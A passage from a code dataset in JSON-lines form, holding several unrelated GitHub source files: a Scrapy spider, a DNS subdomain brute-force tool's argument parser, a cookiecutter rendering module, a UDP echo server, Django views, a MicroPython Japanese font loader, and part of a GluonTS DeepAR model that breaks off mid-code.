scrapy.Request(response.urljoin(next_page_url), callback=self.parse)\n\n def parse_listing(self, response):\n # Unpack the passed `meta` data\n date = response.meta['date']\n link = response.meta['link']\n text = response.meta['title']\n\n compensation = response.xpath('//*[@class=\"attrgroup\"]/span[1]/b/text()').extract_first()\n job_type = response.xpath('//*[@class=\"attrgroup\"]/span[2]/b/text()').extract_first()\n\n images = response.xpath('//*[@id=\"thumbs\"]//@src').extract()\n images = [image.replace('50x50c', '600x450') for image in images]\n\n description = response.xpath('//*[@id=\"postingbody\"]//text()').extract()\n\n yield {\n 'date': date,\n 'link': link,\n 'text': text,\n 'compensation': compensation,\n 'job_type': job_type,\n 'images': images,\n 'description': description,\n }\n\n\n\n\n","repo_name":"pythonreactor/scrapy_projects","sub_path":"craigslist/craigslist/spiders/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32779836041","text":"import argparse\nimport sys\nimport tldextract\n\n\nclass CLIParser:\n\n # -- Public methods\n\n # CLIParser Constructor\n def __init__(self):\n super(CLIParser, self).__init__()\n self.parser = argparse.ArgumentParser(prog='dns_extractor.py', description='DNS brute force application.')\n self.parser.add_argument('-d', '--domain', required=True, help='input domain for searching')\n self.parser.add_argument('-r', '--resolvers', required=True, type=argparse.FileType('r'),\n metavar='FILE', help='input file containing newline delimited list of resolvers')\n self.parser.add_argument('-s', '--subdomains', required=True, type=argparse.FileType('r'),\n metavar='FILE', help='input file containing newline delimited list of subdomains')\n self.parser.add_argument('-om', '--output_mode', choices=['csv', 'json'], default='csv',\n help='output format. By default csv mode is set')\n self.parser.add_argument('-o', '--output', metavar='FILE',\n help='output file for writing results. By default, results will be shown on stdout')\n self.parser.add_argument('--no_auth_ns', action='store_true',\n help='the authoritative dns for the domain searched will be excluded from resolvers '\n 'if it was not included in resolvers input file. By default, the authoritative '\n 'dns for the domain searched is added to resolvers list if it was not included '\n 'yet')\n self.parser.add_argument('-w', '--workers', default=50, type=int,\n help='number of workers for execution. By default, the workers number is set to 50')\n self.parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.1.0',\n help='show the version message and exit')\n self.args = self.parser.parse_args()\n\n # -- Getters\n\n # Get output mode\n def get_output_mode(self):\n return self.args.output_mode\n\n # Get if authoritative ns will be included\n def include_auth_ns(self):\n if self.args.no_auth_ns:\n return False\n else:\n return True\n\n # Get number of workers\n def get_workers(self):\n workers = self.args.workers\n if not workers > 0:\n self.parser.print_usage(file=sys.stderr)\n print(self.parser.prog + ': error: argument -w/--workers: The number of workers must be greater than 0.',\n file=sys.stderr)\n sys.exit(2)\n return workers\n\n # Get domain\n def get_domain(self):\n ext = tldextract.extract(self.args.domain)\n if ext.domain == '' or ext.suffix == '':\n self.parser.print_usage(file=sys.stderr)\n print(self.parser.prog + ': error: argument -d/--domain: The domain name must be well formed.',\n file=sys.stderr)\n sys.exit(2)\n return str(ext.domain + '.' + ext.suffix).strip()\n\n # Get resolvers filename\n def get_resolvers_filename(self):\n return self.args.resolvers.name\n\n # Get subdomains filename\n def get_subdomains_filename(self):\n return self.args.subdomains.name\n\n # Get output filename\n def get_output_filename(self):\n if self.args.output is None:\n output_filename = ''\n else:\n output_filename = self.args.output\n return output_filename\n","repo_name":"eliasgranderubio/dns_extractor","sub_path":"util/cli_parser.py","file_name":"cli_parser.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"26221034932","text":"import contextlib\nimport fnmatch\nimport json\nimport os.path\nimport shutil\nimport tempfile\nfrom collections import OrderedDict\nfrom pathlib import Path\nfrom typing import Callable, Union\n\nimport jinja2\nimport yaml\nfrom cookiecutter.environment import StrictEnvironment\nfrom cookiecutter.generate import (\n generate_context,\n generate_file,\n is_copy_only_path,\n render_and_create_dir,\n)\nfrom cookiecutter.utils import work_in\nfrom jinja2 import FileSystemLoader\n\nfrom toolkit.config.context import BASE_CONTEXT, COOKIECUTTER_CONTEXT, IGNORED_ITEMS\nfrom toolkit.fs.dir import copy_items_in_directory\nfrom toolkit.logger import logging\nfrom toolkit.template.code_style import get_camel_case_styles\n\nlog = logging.getLogger(__name__)\n\n\ndef is_copy_only(path: Union[str, Path], context: dict) -> bool:\n return is_copy_only_path(path, context)\n\n\ndef ignore(path: Union[str, Path], context: dict) -> bool:\n \"\"\"Check whether the given `path` should only be ignored.\n\n Returns True if `path` matches a pattern in the given `context` dict,\n otherwise False.\n\n :param path: A file-system path referring to a file or dir that\n should be rendered or just copied.\n :param context: cookiecutter context.\n \"\"\"\n ignored = False\n\n with contextlib.suppress(KeyError):\n for item in context[\"cookiecutter\"][\"_ignore\"]:\n if fnmatch.fnmatch(path, item):\n ignored = True\n break\n\n log.debug(f\"{path} is ignored: {ignored}\")\n\n return ignored\n\n\ndef generate_cutter_context(\n context_file: str = \"cookiecutter.json\",\n context: dict = None,\n ignored_items: list = None,\n) -> OrderedDict:\n cookiecutter_context = (\n (\n json.load(open(context_file, \"r\", encoding=\"utf-8\"))\n if os.path.isfile(context_file)\n else {}\n )\n | COOKIECUTTER_CONTEXT\n | {\"_ignore\": (ignored_items or []) + IGNORED_ITEMS}\n )\n\n with tempfile.TemporaryDirectory(prefix=\"context-\") as tmpdir:\n temp_context_file = os.path.join(tmpdir, \"cookiecutter.json\")\n\n with open(temp_context_file, \"w\", encoding=\"utf-8\", newline=\"\\n\") as f:\n json.dump(cookiecutter_context, f, ensure_ascii=False, indent=4)\n\n cutter_context = (\n generate_context(temp_context_file) | BASE_CONTEXT | (context or {})\n )\n\n log.debug(f\"Cutter context: {cutter_context}\")\n\n return cutter_context\n\n\ndef generate_rendered_file(\n project_path: str,\n template_file_path: str,\n context: OrderedDict,\n jinja2_environment: jinja2.Environment,\n skip_if_file_exists: bool = True,\n):\n return generate_file(\n project_dir=project_path,\n infile=template_file_path,\n context=context,\n env=jinja2_environment,\n skip_if_file_exists=skip_if_file_exists,\n )\n\n\ndef create_rendered_directory(\n project_path: str,\n template_directory_path: str,\n context: OrderedDict,\n jinja2_environment: jinja2.Environment,\n skip_if_directory_exists: bool = True,\n):\n return render_and_create_dir(\n dirname=template_directory_path,\n context=context,\n output_dir=project_path,\n environment=jinja2_environment,\n overwrite_if_exists=not skip_if_directory_exists,\n )\n\n\ndef generate_rendered_files_recursively(\n template_path: str,\n project_path: str = \".\",\n generated_path_hook: Callable[[str], str] = None,\n user_input_context: dict = None,\n user_input_context_hook: Callable[[dict], None] = None,\n ignored_items: list = None,\n skip_if_file_exists: bool = True,\n):\n template_path = os.path.abspath(template_path)\n project_path = os.path.abspath(project_path)\n\n log.debug(\"Generating project from %s to %s\", template_path, project_path)\n\n # Generate project files in place instead of creating an extra folder\n project_parent, project_repo = os.path.split(project_path)\n\n temp_dir = tempfile.mkdtemp()\n temp_project_dir = os.path.join(temp_dir, project_repo)\n os.makedirs(temp_project_dir, exist_ok=True)\n\n project_slugs = get_camel_case_styles(project_repo)\n context_file = os.path.join(template_path, \"cookiecutter.json\")\n context = generate_cutter_context(\n context_file=context_file,\n context={\n \"project_slug\": {\n \"words_lowercase\": project_slugs[0], # camel case\n \"kebab_case\": project_slugs[1], # camel-case\n \"words_capitalized\": project_slugs[2], # Camel Case\n \"snake_case\": project_slugs[3], # camel_case\n \"pascal_case\": project_slugs[4], # CamelCase\n },\n }\n | (user_input_context or {}),\n ignored_items=ignored_items,\n )\n\n if callable(user_input_context_hook):\n context = user_input_context_hook(context)\n\n env_vars = context.get(\"cookiecutter\", {}).get(\"_jinja2_env_vars\", {})\n\n jinja2_environment = StrictEnvironment(\n context=context,\n keep_trailing_newline=True,\n **env_vars,\n )\n\n with work_in(template_path):\n jinja2_environment.loader = FileSystemLoader([\".\", \"../templates\"])\n\n for root, dirs, files in os.walk(\".\"):\n copy_dirs = []\n render_dirs = []\n\n for d in dirs:\n if ignore(d, context):\n continue\n\n d_ = os.path.normpath(os.path.join(root, d))\n # We check the full path, because that's how it can be\n # specified in the ``_copy_without_render`` setting, but\n # we store just the dir name\n if is_copy_only(d_, context):\n log.debug(\"Found copy only path %s\", d)\n copy_dirs.append(d)\n else:\n render_dirs.append(d)\n\n for copy_dir in copy_dirs:\n in_dir = os.path.normpath(os.path.join(root, copy_dir))\n out_dir = os.path.normpath(os.path.join(temp_project_dir, in_dir))\n out_dir = jinja2_environment.from_string(out_dir).render(**context)\n\n if generated_path_hook:\n out_dir = generated_path_hook(out_dir)\n\n log.debug(\"Copying dir %s to %s without rendering\", in_dir, out_dir)\n\n if os.path.isdir(out_dir):\n shutil.rmtree(out_dir)\n\n shutil.copytree(in_dir, out_dir)\n\n # We mutate ``dirs``, because we only want to go through these dirs recursively\n dirs[:] = render_dirs\n for d in dirs:\n not_rendered_dir = os.path.join(temp_project_dir, root, d)\n create_rendered_directory(\n project_path=temp_project_dir,\n template_directory_path=not_rendered_dir,\n context=context,\n jinja2_environment=jinja2_environment,\n skip_if_directory_exists=False,\n )\n\n for f in files:\n in_file = os.path.normpath(os.path.join(root, f))\n\n if ignore(in_file, context):\n continue\n\n out_file_tmpl = jinja2_environment.from_string(in_file)\n out_file_rendered = out_file_tmpl.render(**context)\n out_file = os.path.join(temp_project_dir, out_file_rendered)\n\n if is_copy_only_path(in_file, context):\n log.debug(f\"Copying {in_file} to {out_file} without rendering\")\n shutil.copyfile(in_file, out_file)\n shutil.copymode(in_file, out_file)\n else:\n generate_rendered_file(\n project_path=temp_project_dir,\n template_file_path=in_file,\n context=context,\n jinja2_environment=jinja2_environment,\n skip_if_file_exists=skip_if_file_exists,\n )\n\n if generated_path_hook:\n os.renames(out_file, generated_path_hook(out_file))\n\n # Move the generated project to the final location\n copy_items_in_directory(temp_project_dir, project_path, skip_if_file_exists)\n\n # Remove the temp dir\n shutil.rmtree(temp_dir)\n\n with contextlib.suppress(KeyError):\n del context[\"cookiecutter\"]\n del context[\"factory\"]\n\n yaml.add_representer(\n OrderedDict,\n lambda dumper, data: dumper.represent_mapping(\n \"tag:yaml.org,2002:map\", data.items()\n ),\n )\n\n yaml.dump(\n context,\n open(\n os.path.join(project_path, \"cutter.yaml\"),\n \"w\",\n encoding=\"utf-8\",\n newline=\"\\n\",\n ),\n sort_keys=True,\n encoding=\"utf-8\",\n allow_unicode=True,\n )\n","repo_name":"fujiawei-dev/toolkit-py","sub_path":"toolkit/render/cutter.py","file_name":"cutter.py","file_ext":"py","file_size_in_byte":8819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74335561812","text":"\nfrom collections import OrderedDict\n\n\ndef sorted_dict(d, keys):\n \"\"\" Sort dict according to keys list\n >>>keys = ['d', 'c', 'b', 'a']\n >>>d = dict(a=1, b=2, c=3, d=4, e=5, f=6, g=7)\n >>>sorted_dict(d, keys)\n >>>OrderedDict([('d', 4), ('c', 3), ('b', 2), ('a', 1), ('e', 5), ('g', 7), ('f', 6)])\n \"\"\"\n d_size = len(d)\n return OrderedDict(\n sorted(d.items(),\n key=lambda x: keys.index(x[0]) if x[0] in keys else d_size)\n )","repo_name":"lroolle/CodingInPython","sub_path":"utils/sorted_dict.py","file_name":"sorted_dict.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"24222356865","text":"import socket\r\nimport datetime\r\n\r\nserverSocket = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)\r\nserverSocket.bind ( ('127.0.0.1' , 12345) )\r\n\r\nwhile True:\r\n data, address = serverSocket.recvfrom(1024)\r\n time = datetime.datetime.now()\r\n print('Request received on', time)\r\n serverSocket.sendto(data, address)\r\n\r\n\r\n\r\n\r\n","repo_name":"OmarBekdache/EECE-350-assignment-1","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33302320052","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Equipe,Match,Participant\n# Create your views here.\n\ndef index(request):\n return HttpResponse(\"Bienvenus sur le site d'Annonay Loisirs !\")\n\ndef liste_joueurs(request, equipe_id):\n liste_joueurs = Equipe.objects.get(id=equipe_id)\n context = {\n 'liste_joueurs':liste_joueurs\n }\n return render(request,'annonay_loisirs/liste_joueurs.html',context)\n\ndef liste_equipe(request):\n liste_equipe = Equipe.objects.all()\n context = {\n 'liste_equipe':liste_equipe\n }\n return render(request,'annonay_loisirs/liste_equipe.html',context)\n\ndef point(request):\n \n nombre_point=Match.objects.all()\n context = {\n 'nombre_point':nombre_point\n }\n return render(request,'annonay_loisirs/cumul_points.html',context)","repo_name":"genawofa/afpa","sub_path":"gphoeung_eval_django.py","file_name":"gphoeung_eval_django.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37040354882","text":"# This is Japanese font library for MicroPython\n# 2022/12/06 v1.01 by Tamakichi-San\n# 2023/01/18 v1.02 フォントサイズ属性fsの追加\n# 2023/02/02 v1.03 フォントパス指定のバグ修正\n\nfrom .tma_jp_utl import isHkana, hkana2kana, han2zen, binfind\n\n# フォント管理クラス\nclass mfont:\n MFONT8 = 0 # 8ドット美咲フォント\n MFONT10 = 1 # 10ドット nagaフォント\n MFONT12 = 2 # 12ドット東雲フォント\n MFONT14 = 3 # 14ドット東雲フォント\n MFONT16 = 4 # 16ドット東雲フォント\n MFONT20 = 5 # 20ドットJiskanフォント\n MFONT24 = 6 # 24ドットXフォントト\n\n path = \"\"\n\n # フォント種別テーブル\n\n finfo = (\n # name, num bytes w h\n (\"u_4x8a\", 191, 8, 4, 8) , # 0:u_4x8a.hex\n (\"u_5x10a\", 256, 10, 5, 10) , # 1:u_5x10a.hex\n (\"u_6x12a\", 256, 12, 6, 12) , # 2:u_6x12a.hex\n (\"u_7x14a\", 221, 14, 7, 14) , # 3:u_7x14a.hex\n (\"u_8x16a\", 221, 16, 8, 16) , # 4:u_8x16a.hex\n (\"u_10x20a\", 190, 40, 10, 20) , # 5:u_10x20a.hex\n (\"u_12x24a\", 221, 48, 12, 24) , # 6:u_12x24a.hex\n\n (\"u_8x8\", 6879, 8, 8, 8) , # 7:u_8x8.hex\n (\"u_10x10\", 6877, 20, 10, 10) , # 8:u_10x10.hex\n (\"u_12x12\", 6879, 24, 12, 12) , # 9:u_12x12.hex\n (\"u_14x14\", 6879, 28, 14, 14) , # 10:u_14x14.hex\n (\"u_16x16\", 6879, 32, 16, 16) , # 11:u_16x16.hex\n (\"u_20x20\", 6879, 60, 20, 20) , # 12:u_20x20.hex\n (\"u_24x24\", 6877, 72, 24, 24) , # 13:u_24x24.hex\n\n )\n\n def __init__(self,fs=16,path=\"./mfont/fonts\"):\n self.flgBegin = False\n self.setFontSize(fs)\n self.path=path\n self.fs = fs\n\n def selectFont(self, no):\n self.font_no = no + 7\n self.h_font_no = no\n self.index_len = self.finfo[self.font_no][1]\n self.filename = self.finfo[self.font_no][0] + \".fnt\"\n self.data_top_pos = self.index_len*2\n self.font_bytes = self.finfo[self.font_no][2]\n self.font_line_bytes = (self.finfo[self.font_no][3] + 7)>>3\n self.offset = self.finfo[self.h_font_no][1]*(2+self.finfo[self.h_font_no][2]) # 全角文字データ先頭オフセット\n \n self.h_index_len = self.finfo[self.h_font_no][1]\n self.h_data_top_pos = self.h_index_len*2\n self.h_font_bytes = self.finfo[self.h_font_no][2]\n self.h_font_line_bytes = (self.finfo[self.h_font_no][3] + 7)>>3\n self.h_offset = 0\n self.flgZenkaku = True\n \n # フォントファイルの開き直し\n if self.flgBegin:\n self.end()\n self.begin()\n \n # 利用サイズの設定\n def setFontSize(self, fs):\n if fs < 10:\n self.selectFont(self.MFONT8)\n self.fs = 8\n elif fs < 12:\n self.selectFont(self.MFONT10) \n self.fs = 10\n elif fs < 14:\n self.selectFont(self.MFONT12)\n self.fs = 12\n elif fs < 16:\n self.selectFont(self.MFONT14)\n self.fs = 14\n elif fs < 20:\n self.selectFont(self.MFONT16)\n self.fs = 16\n elif fs < 24:\n self.selectFont(self.MFONT20)\n self.fs = 20\n else:\n self.selectFont(self.MFONT24)\n self.fs = 24\n\n # 直前に取得したフォントの1行あたりの��ォントデータバイト数の取得\n def getRowLength(self):\n return self.font_line_bytes if self.flgZenkaku else self.h_font_line_bytes\n \n # 直前に取得したフォントのフォントの横ドット数の取得\n def getWidth(self):\n return self.finfo[self.font_no][3] if self.flgZenkaku else self.finfo[self.h_font_no][3]\n\n # 直前に取得したフォントのフォントの縦ドット数の取得\n def getHeight(self):\n return self.finfo[self.font_no][4] if self.flgZenkaku else self.finfo[self.h_font_no][4]\n\n # 直前に取得したフォントのデータバイト数の取得\n def len(self):\n return self.font_bytes if self.flgZenkaku else self.h_font_bytes\n \n # フォントデータ参照開始\n def begin(self):\n if self.flgBegin == False:\n self.f_r = open(self.path+\"/\"+self.filename, \"rb\")\n self.flgBegin = True\n\n # フォントデータ参照終了\n def end(self):\n if self.flgBegin:\n self.f_r.close()\n self.flgBegin = False\n\n # インデックスファイルの検索\n def find(self, code, index_size, offset):\n if not self.flgBegin:\n return -1 \n \n def get_at(pos):\n self.f_r.seek(pos*2+offset)\n d = int.from_bytes(self.f_r.read(2),\"big\")\n return d\n return binfind(code, index_size, get_at)\n\n # 指定した位置の取得\n def get_fontdata(self, pos, font_bytes, offset):\n if not self.flgBegin:\n return []\n self.f_r.seek(pos+offset)\n font_data = [int(d) for d in self.f_r.read(font_bytes)]\n return font_data\n\n # フォントデータの取得\n def getFont(self, code):\n # 文字コードの変更(\¢£¬)\n c = { 0xFF3C:0x5C, 0xFFE0:0xA2, 0xFFE1:0xA3, 0xFFE2:0xAC }.get(code)\n if c != None:\n code = c\n if code < 0x100:\n self.flgZenkaku = True if code in (0x5C,0xA2,0xA3,0xA7,0xA8,0xAC,0xB0,0xB1,0xB4,0xB6,0xD7,0xF7) else False\n else:\n self.flgZenkaku = True\n if isHkana(code):\n code = hkana2kana(code)\n if self.flgZenkaku:\n index = self.find(code, self.index_len, self.offset)\n pos = index*self.font_bytes + self.data_top_pos\n font = self.get_fontdata(pos, self.font_bytes, self.offset) \n else:\n index = self.find(code, self.h_index_len, self.h_offset)\n pos = index*self.h_font_bytes + self.h_data_top_pos\n font = self.get_fontdata(pos, self.h_font_bytes, self.h_offset) \n return font\n","repo_name":"Tamakichi/pico_MicroPython_Multifont","sub_path":"mfont/mfont.py","file_name":"mfont.py","file_ext":"py","file_size_in_byte":6182,"program_lang":"python","lang":"ja","doc_type":"code","stars":5,"dataset":"github-code","pt":"67"} +{"seq_id":"42076610542","text":"#! /usr/bin/python3\n\"\"\"\n\"\"\"\nimport os\nimport numpy as np\n\nDATA_PATH = \"../data/raw\"\n\nif __name__ == \"__main__\":\n # Assign the filename: file\n file = \"titanic.csv\"\n\n # Import file using np.recfromcsv: d\n d = np.recfromcsv(os.path.join(DATA_PATH, file), encoding=\"utf-8\")\n\n # Print out first three entries of d\n print(d[:3])\n","repo_name":"HossamKhir/spc-datacamp","sub_path":"data-scientist/13-introduction-importing-data-python/src/mixed_dtypes.py","file_name":"mixed_dtypes.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12719545573","text":"from typing import List, Optional, Tuple\n\nimport torch\nimport torch.nn as nn\n\nfrom gluonts.core.component import validated\nfrom gluonts.time_feature import get_lags_for_frequency\nfrom gluonts.torch.distributions import (\n DistributionOutput,\n StudentTOutput,\n)\nfrom gluonts.torch.scaler import Scaler, MeanScaler, NOPScaler\nfrom gluonts.torch.modules.feature import FeatureEmbedder\nfrom gluonts.torch.modules.loss import DistributionLoss, NegativeLogLikelihood\nfrom gluonts.torch.util import (\n lagged_sequence_values,\n repeat_along_dim,\n take_last,\n unsqueeze_expand,\n)\nfrom gluonts.itertools import prod\nfrom gluonts.model import Input, InputSpec\n\n\nclass DeepARModel(nn.Module):\n \"\"\"\n Module implementing the DeepAR model, see [SFG17]_.\n\n *Note:* the code of this model is unrelated to the implementation behind\n `SageMaker's DeepAR Forecasting Algorithm\n `_.\n\n Parameters\n ----------\n freq\n String indicating the sampling frequency of the data to be processed.\n context_length\n Length of the RNN unrolling prior to the forecast date.\n prediction_length\n Number of time points to predict.\n num_feat_dynamic_real\n Number of dynamic real features that will be provided to ``forward``.\n num_feat_static_real\n Number of static real features that will be provided to ``forward``.\n num_feat_static_cat\n Number of static categorical features that will be provided to\n ``forward``.\n cardinality\n List of cardinalities, one for each static categorical feature.\n embedding_dimension\n Dimension of the embedding space, one for each static categorical\n feature.\n num_layers\n Number of layers in the RNN.\n hidden_size\n Size of the hidden layers in the RNN.\n dropout_rate\n Dropout rate to be applied at training time.\n distr_output\n Type of distribution to be output by the model at each time step\n lags_seq\n Indices of the lagged observations that the RNN takes as input. For\n example, ``[1]`` indicates that the RNN only takes the observation at\n time ``t-1`` to produce the output for time ``t``; instead,\n ``[1, 25]`` indicates that the RNN takes observations at times ``t-1``\n and ``t-25`` as input.\n scaling\n Whether to apply mean scaling to the observations (target).\n default_scale\n Default scale that is applied if the context length window is\n completely unobserved. If not set, the scale in this case will be\n the mean scale in the batch.\n num_parallel_samples\n Number of samples to produce when unrolling the RNN in the prediction\n time range.\n nonnegative_pred_samples\n Should final prediction samples be non-negative? If yes, an activation\n function is applied to ensure non-negative. Observe that this is applied\n only to the final samples and this is not applied during training.\n \"\"\"\n\n @validated()\n def __init__(\n self,\n freq: str,\n context_length: int,\n prediction_length: int,\n num_feat_dynamic_real: int = 1,\n num_feat_static_real: int = 1,\n num_feat_static_cat: int = 1,\n cardinality: List[int] = [1],\n embedding_dimension: Optional[List[int]] = None,\n num_layers: int = 2,\n hidden_size: int = 40,\n dropout_rate: float = 0.1,\n distr_output: DistributionOutput = StudentTOutput(),\n lags_seq: Optional[List[int]] = None,\n scaling: bool = True,\n default_scale: Optional[float] = None,\n num_parallel_samples: int = 100,\n nonnegative_pred_samples: bool = False,\n ) -> None:\n super().__init__()\n\n assert distr_output.event_shape == ()\n assert num_feat_dynamic_real > 0\n assert num_feat_static_real > 0\n assert num_feat_static_cat > 0\n assert len(cardinality) == num_feat_static_cat\n assert (\n embedding_dimension is None\n or len(embedding_dimension) == num_feat_static_cat\n )\n\n self.context_length = context_length\n self.prediction_length = prediction_length\n self.distr_output = distr_output\n self.param_proj = distr_output.get_args_proj(hidden_size)\n self.num_feat_dynamic_real = num_feat_dynamic_real\n self.num_feat_static_cat = num_feat_static_cat\n self.num_feat_static_real = num_feat_static_real\n self.embedding_dimension = (\n embedding_dimension\n if embedding_dimension is not None or cardinality is None\n else [min(50, (cat + 1) // 2) for cat in cardinality]\n )\n self.lags_seq = lags_seq or get_lags_for_frequency(freq_str=freq)\n self.lags_seq = [l - 1 for l in self.lags_seq]\n self.num_parallel_samples = num_parallel_samples\n self.past_length = self.context_length + max(self.lags_seq)\n self.embedder = FeatureEmbedder(\n cardinalities=cardinality,\n embedding_dims=self.embedding_dimension,\n )\n if scaling:\n self.scaler: Scaler = MeanScaler(\n dim=-1, keepdim=True, default_scale=default_scale\n )\n else:\n self.scaler = NOPScaler(dim=-1, keepdim=True)\n self.rnn_input_size = len(self.lags_seq) + self._number_of_features\n self.rnn = nn.LSTM(\n input_size=self.rnn_input_size,\n hidden_size=hidden_size,\n num_layers=num_layers,\n dropout=dropout_rate,\n batch_first=True,\n )\n self.nonnegative_pred_samples = nonnegative_pred_samples\n\n def describe_inputs(self, batch_size=1) -> InputSpec:\n return InputSpec(\n {\n \"feat_static_cat\": Input(\n shape=(batch_size, self.num_feat_static_cat),\n dtype=torch.long,\n ),\n \"feat_static_real\": Input(\n shape=(batch_size, self.num_feat_static_real),\n dtype=torch.float,\n ),\n \"past_time_feat\": Input(\n shape=(\n batch_size,\n self._past_length,\n self.num_feat_dynamic_real,\n ),\n dtype=torch.float,\n ),\n \"past_target\": Input(\n shape=(batch_size, self._past_length),\n dtype=torch.float,\n ),\n \"past_observed_values\": Input(\n shape=(batch_size, self._past_length),\n dtype=torch.float,\n ),\n \"future_time_feat\": Input(\n shape=(\n batch_size,\n self.prediction_length,\n self.num_feat_dynamic_real,\n ),\n dtype=torch.float,\n ),\n },\n zeros_fn=torch.zeros,\n )\n\n @property\n def _number_of_features(self) -> int:\n return (\n sum(self.embedding_dimension)\n + self.num_feat_dynamic_real\n + self.num_feat_static_real\n + 1 # the log(scale)\n )\n\n @property\n def _past_length(self) -> int:\n return self.context_length + max(self.lags_seq)\n\n def prepare_rnn_input(\n self,\n feat_static_cat: torch.Tensor,\n feat_static_real: torch.Tensor,\n past_time_feat: torch.Tensor,\n past_target: torch.Tensor,\n past_observed_values: torch.Tensor,\n future_time_feat: torch.Tensor,\n future_target: Optional[torch.Tensor] = None,\n ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor,]:\n context = past_target[..., -self.context_length :]\n observed_context = past_observed_values[..., -self.context_length :]\n\n input, _, scale = self.scaler(context, observed_context)\n future_length = future_time_feat.shape[-2]\n if future_length > 1:\n assert future_target is not None\n input = torch.cat(\n (input, future_target[..., : future_length - 1] / scale),\n dim=-1,\n )\n prior_input = past_target[..., : -self.context_length] / scale\n\n lags = lagged_sequence_values(\n self.lags_seq, prior_input, input, dim=-1\n )\n\n time_feat = torch.cat(\n (\n take_last(past_time_feat, dim=-2, num=self.context_length - 1),\n future_time_feat,\n ),\n dim=-2,\n )\n\n embedded_cat = self.embedder(feat_static_cat)\n static_feat = torch.cat(\n (embedded_cat, feat_static_real, scale.log()),\n dim=-1,\n )\n expanded_static_feat = unsqueeze_expand(\n static_feat, dim=-2, size=time_feat.shape[-2]\n )\n\n features = torch.cat((expanded_static_feat, time_feat), dim=-1)\n\n return torch.cat((lags, features), dim=-1), scale, static_feat\n\n def unroll_lagged_rnn(\n self,\n feat_static_cat: torch.Tensor,\n feat_static_real: torch.Tensor,\n past_time_feat: torch.Tensor,\n past_target: torch.Tensor,\n past_observed_values: torch.Tensor,\n future_time_feat: torch.Tensor,\n future_target: Optional[torch.Tensor] = None,\n ) -> Tuple[\n Tuple[torch.Tensor, ...],\n torch.Tensor,\n torch.Tensor,\n torch.Tensor,\n Tuple[torch.Tensor, torch.Tensor],\n ]:\n \"\"\"\n Applies the underlying RNN to the provided target data and covariates.\n\n Parameters\n ----------\n feat_static_cat\n Tensor of static categorical features,\n shape: ``(batch_size, num_feat_static_cat)``.\n feat_static_real\n Tensor of static real features,\n shape: ``(batch_size, num_feat_static_real)``.\n past_time_feat\n Tensor of dynamic real features in the past,\n shape: ``(batch_size, past_length, num_feat_dynamic_real)``.\n past_target\n Tensor of past target values,\n shape: ``(batch_size, past_length)``.\n past_observed_values\n Tensor of observed values indicators,\n shape: ``(batch_size, past_length)``.\n future_time_feat\n Tensor of dynamic real features in the future,\n shape: ``(batch_size, prediction_length, num_feat_dynamic_real)``.\n future_target\n (Optional) tensor of future target values,\n shape: ``(batch_size, prediction_length)``.\n\n Returns\n -------\n Tuple\n A tuple containing, in this order:\n - Parameters of the output distribution\n - Scaling factor applied to the target\n - Raw output of the RNN\n - Static input to the RNN\n - Output state from the RNN\n \"\"\"\n rnn_input, scale, static_feat = self.prepare_rnn_input(\n feat_static_cat,\n feat_static_real,\n past_time_feat,\n past_target,\n past_observed_values,\n future_time_feat,\n future_target,\n )\n\n output, new_state = self.rnn(rnn_input)\n\n params = self.param_proj(output)\n return params, scale, output, static_feat, new_state\n\n @torch.jit.ignore\n def output_distribution(\n self, params, scale=None, trailing_n=None\n ) -> torch.distributions.Distribution:\n \"\"\"\n Instantiate the output distribution\n\n Parameters\n ----------\n params\n Tuple of distribution parameters.\n scale\n (Optional) scale tensor.\n trailing_n\n If set, the output distribution is created only for the last\n ``trailing_n`` time points.\n\n Returns\n -------\n torch.distributions.Distribution\n Output distribution from the model.\n \"\"\"\n sliced_params = params\n if trailing_n is not None:\n sliced_params = [p[:, -trailing_n:] for p in params]\n return self.distr_output.distribution(sliced_params, scale=scale)\n\n def post_process_samples(self, samples: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Method to enforce domain-specific constraints on the generated samples.\n For example, we can enforce forecasts to be nonnegative.\n Parameters\n ----------\n samples\n Tensor of samples\n Returns\n -------\n Tensor of processed samples with the same shape.\n \"\"\"\n\n if self.nonnegative_pred_samples:\n return torch.relu(samples)\n\n return samples\n\n def forward(\n self,\n feat_static_cat: torch.Tensor,\n feat_static_real: torch.Tensor,\n past_time_feat: torch.Tensor,\n past_target: torch.Tensor,\n past_observed_values: torch.Tensor,\n future_time_feat: torch.Tensor,\n num_parallel_samples: Optional[int] = None,\n ) -> torch.Tensor:\n \"\"\"\n Invokes the model on input data, and produce outputs future samples.\n\n Parameters\n ----------\n feat_static_cat\n Tensor of static categorical features,\n shape: ``(batch_size, num_feat_static_cat)``.\n feat_static_real\n Tensor of static real features,\n shape: ``(batch_size, num_feat_static_real)``.\n past_time_feat\n Tensor of dynamic real features in the past,\n shape: ``(batch_size, past_length, num_feat_dynamic_real)``.\n past_target\n Tensor of past target values,\n shape: ``(batch_size, past_length)``.\n past_observed_values\n Tensor of observed values indicators,\n shape: ``(batch_size, past_length)``.\n future_time_feat\n (Optional) tensor of dynamic real features in the past,\n shape: ``(batch_size, prediction_length, num_feat_dynamic_real)``.\n num_parallel_samples\n How many future samples to produce.\n By default, self.num_parallel_samples is used.\n \"\"\"\n if num_parallel_samples is None:\n num_parallel_samples = self.num_parallel_samples\n\n params, scale, _, static_feat, state = 